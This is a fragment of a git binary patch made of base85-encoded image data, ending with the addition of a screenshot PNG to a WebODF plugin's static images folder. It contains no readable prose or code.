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 To)E;i0{qEID@&D08VCFj+s(7& literal 0 HcmV?d00001 diff --git a/plugins/webodf/static/images/screenshot2.png b/plugins/webodf/static/images/screenshot2.png new file mode 100755 index 0000000000000000000000000000000000000000..f7c627aa1b80071ab3f3d70e3b4cf1df63a98e01 GIT binary patch literal 194733 zcmeEtRa9Kf+9m;l1$Tlw1cC;)B)A6&65O2z8kZ)xYaloT2yP*`yVH$JaCfJHrm^As z&-uRT~+(7*PiFC9q~y;77ODw1_A;Cmb{#lIsyW+JOTnD2o2?V zL{-7i6afK~z(!K?lf0xP%_kRtrH#D>0)kvbvNo#bw;|%}j-R;rUuY23KLP>?_a}X1 zh3C=azkZ@)KqhMWUA(p+jVvXt{hm<&6^-48qe!&t$M@3Gx+JgoHCKLqt*pxO7)$eS zUuwF6crbhHj3WH71`iJneN09e+}TCXLu^e$kC0bV=j?nzX55KB|7*URqH1vP6M{wU zQ%h?HIy*8?C!l zQH>z(YMAFo_iOfWq9NRj!h2liV*s~Czv*us8#A5sD5=4AQ440jUyBGE2sFh^K2wxGg zM+A^f--eUrjp}fc)mxx5w2xC^?QXy98+3{^)=FX*Pahk@z)9}YO@Ls%?)$8tYXmJ; zelsS4W~yVemm3I8^<-6rx{7mhP?)|9ZwXGDpygQ&d$}*Zp3je{mXumU+k2}1@=;Bl zTuDq%FrCD*&r*ITunXVA@lZE=f-;-G677j6py6Q1{P*E zb<4QV&NYa6KM$jiNp@u8;D+F!mrMqzM`|c+g6jNpcbTn&q^trIFLOIlVTeq)UEdKc z128)eDXgi!cKoD&{Q44^2Fod+K#BJNkCSY@2k?#s!T)3L%WiH7zz_?`mgK`6cLmfA zU7a!i7C%nujBvwVpTJ|l;QSNpDi}=c(VZpxkQ$j^gZ~iT-upgJV!}QemHam(P#MAV 